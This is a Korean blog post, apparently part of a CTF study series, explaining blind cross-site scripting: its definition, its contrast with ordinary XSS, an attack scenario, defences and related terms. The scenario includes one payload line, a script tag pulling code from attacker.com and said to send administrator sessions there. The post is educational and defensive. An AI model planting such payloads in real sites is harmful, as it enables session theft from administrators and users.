Blind Cross-Site Scripting

agnusdeiยท2025๋…„ 7์›” 28์ผ

CTF

๋ชฉ๋ก ๋ณด๊ธฐ
53/185

**๐Ÿ“Œ ๋ธ”๋ผ์ธ๋“œ XSS (Blind Cross-Site Scripting)**๋Š” ์ผ๋ฐ˜์ ์ธ XSS(Cross-Site Scripting, ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…)์˜ ์ผ์ข…์œผ๋กœ, ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฝ์ž…๋œ ์ฆ‰์‹œ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, ํ”ผํ•ด์ž๊ฐ€ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ €์žฅ๋œ ์œ„์น˜์— ์ ‘๊ทผํ•  ๋•Œ ๋‚˜์ค‘์— ์‹คํ–‰๋˜๋Š” XSS ๊ณต๊ฒฉ์ž…๋‹ˆ๋‹ค.


โœ… 1. ๊ฐœ๋… ์ •๋ฆฌ

ํ•ญ๋ชฉ์„ค๋ช…
์ •์˜๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฝ์ž…ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฆ‰์‹œ ์‹คํ–‰๋˜์ง€ ์•Š๊ณ , ๊ด€๋ฆฌ์ž๋‚˜ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผํ–ˆ์„ ๋•Œ ์‹คํ–‰๋˜๋Š” XSS
ํŠน์ง•๊ณต๊ฒฉ์ž๊ฐ€ ํ”ผํ•ด์ž์˜ ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ์ง์ ‘ ๋ณผ ์ˆ˜ ์—†์Œ โ†’ ๋ณ„๋„ ์ˆ˜์‹  ์„œ๋ฒ„(log server)๋กœ ๊ฒฐ๊ณผ ์ „์†ก ํ•„์š”
์ด๋ฆ„์˜ ์œ ๋ž˜๊ณต๊ฒฉ์ž๋Š” "๋ˆˆ์— ๋ณด์ด์ง€ ์•Š๋Š”(Blind)" ์ƒํƒœ์—์„œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด์•ผ ํ•˜๋ฏ€๋กœ "๋ธ”๋ผ์ธ๋“œ XSS"๋ผ ๋ถ€๋ฆ„

โœ… 2. ์ผ๋ฐ˜ XSS vs ๋ธ”๋ผ์ธ๋“œ XSS

๊ตฌ๋ถ„์ผ๋ฐ˜ XSS๋ธ”๋ผ์ธ๋“œ XSS
์‹คํ–‰ ์‹œ์ ๊ณต๊ฒฉ ์ฝ”๋“œ ์‚ฝ์ž…๊ณผ ๋™์‹œ์— ์‹คํ–‰๋‚˜์ค‘์— (์˜ˆ: ๊ด€๋ฆฌ์ž๊ฐ€ ์ ‘๊ทผ ์‹œ) ์‹คํ–‰
๊ณต๊ฒฉ ํ™•์ธ์‚ฝ์ž… ํ›„ ๋ฐ”๋กœ ํ™•์ธ ๊ฐ€๋Šฅ์ง์ ‘ ํ™•์ธ ๋ถˆ๊ฐ€, ์™ธ๋ถ€ ์„œ๋ฒ„ ๋กœ๊ทธ๋กœ ํ™•์ธ
์˜ˆ์‹œ ๋Œ€์ƒ๊ฒŒ์‹œํŒ ๋Œ“๊ธ€, ๊ฒ€์ƒ‰์ฐฝ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€, ๋กœ๊ทธ ๋ทฐ์–ด, ์ด๋ฉ”์ผ ๋ฆฌ๋” ๋“ฑ
๋Œ€์‘ ๋‚œ์ด๋„์ƒ๋Œ€์ ์œผ๋กœ ๋‚ฎ์Œํƒ์ง€ยท๋ฐฉ์–ด ์–ด๋ ค์›€, ์‚ฌํ›„ ๋Œ€์‘ ํ•„์š”

โœ… 3. ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค ์˜ˆ

  1. ์‚ฌ์šฉ์ž๊ฐ€ ํšŒ์›๊ฐ€์ž… ํผ์˜ "์ด๋ฆ„" ํ•„๋“œ์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…:
<script src="https://attacker.com/log.js"></script>
  1. ์›น์‚ฌ์ดํŠธ๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ฒ€์ฆ ์—†์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅํ•จ
  2. ์‹œ๊ฐ„์ด ์ง€๋‚œ ํ›„, ๊ด€๋ฆฌ์ž๊ฐ€ ๊ด€๋ฆฌ์ž ํŽ˜์ด์ง€์—์„œ ํ•ด๋‹น ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์กฐํšŒ
  3. ๊ทธ ์‹œ์ ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๊ด€๋ฆฌ์ž ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ โ†’ ์„ธ์…˜ ํƒˆ์ทจ, ํ‚ค๋กœ๊น…, CSRF ๋“ฑ ์ˆ˜ํ–‰
  4. ๊ด€๋ฆฌ์ž ์„ธ์…˜์ด๋‚˜ ์ •๋ณด๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„(attacker.com)๋กœ ์ „์†ก๋จ

โœ… 4. ๋Œ€์‘ ๋ฐฉ๋ฒ•

๐Ÿ” ์ž…๋ ฅ๋‹จ/์ถœ๋ ฅ๋‹จ ๋ณด์•ˆ

  • ์ž…๋ ฅ ๊ฒ€์ฆ(Input Validation): HTML ํƒœ๊ทธ, ์Šคํฌ๋ฆฝํŠธ ๋“ฑ ์œ„ํ—˜ ์š”์†Œ ์ œ๊ฑฐ
  • ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ(Output Encoding): HTML escape ์ฒ˜๋ฆฌ (< โ†’ &lt; ๋“ฑ)
  • Content Security Policy(CSP): ์™ธ๋ถ€ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ์ œํ•œ

๐Ÿงช ํ…Œ์ŠคํŠธ ๋ฐ ํƒ์ง€

  • ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋„๊ตฌ ์‚ฌ์šฉ: Burp Suite, XSS Hunter, XSStrike ๋“ฑ
  • ๋ธ”๋ผ์ธ๋“œ XSS ํ…Œ์ŠคํŠธ ํ”Œ๋žซํผ ํ™œ์šฉ: xsshunter.com ๋“ฑ

๐Ÿ” ๋กœ๊ทธ ๊ฐ์‹œ

  • ๊ด€๋ฆฌ ํŽ˜์ด์ง€, ๋ฐฑ์˜คํ”ผ์Šค ๋กœ๊ทธ ๋ทฐ์–ด ๋“ฑ์— ์ €์žฅ๋œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ํ•„๋“œ์— ๋Œ€ํ•œ ๋ Œ๋”๋ง ์ „ ํ•„ํ„ฐ๋ง ์ ์šฉ

โœ… 5. ๊ด€๋ จ ์šฉ์–ด

์šฉ์–ด์„ค๋ช…
Stored XSS์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋˜์–ด ๋‹ค์ˆ˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋…ธ์ถœ
Reflected XSSURL ๋˜๋Š” ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ์— ํฌํ•จ๋˜์–ด ์ฆ‰์‹œ ์‘๋‹ต์— ๋ฐ˜์˜
DOM-based XSS๋ธŒ๋ผ์šฐ์ € ๋‚ด ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋™์ž‘์— ์˜ํ•ด XSS ๋ฐœ์ƒ
Blind XSS๊ณต๊ฒฉ ํ›„ ํ”ผํ•ด์ž๊ฐ€ ํŠน์ • ํŽ˜์ด์ง€์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ ๋ฐœ์ƒ (๊ณต๊ฒฉ์ž๊ฐ€ ์ง์ ‘ ํ™•์ธ ๋ชปํ•จ)

โœ… ์š”์•ฝ ํ•œ ์ค„ ์ •์˜

๋ธ”๋ผ์ธ๋“œ XSS๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ฆ‰์‹œ ์‹คํ–‰๋˜์ง€ ์•Š๊ณ , ํŠน์ • ์‚ฌ์šฉ์ž๊ฐ€ ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ๋•Œ ๋‚˜์ค‘์— ์‹คํ–‰๋˜๋Š” ์€๋ฐ€ํ•œ XSS ๊ณต๊ฒฉ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.


profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0๊ฐœ์˜ ๋Œ“๊ธ€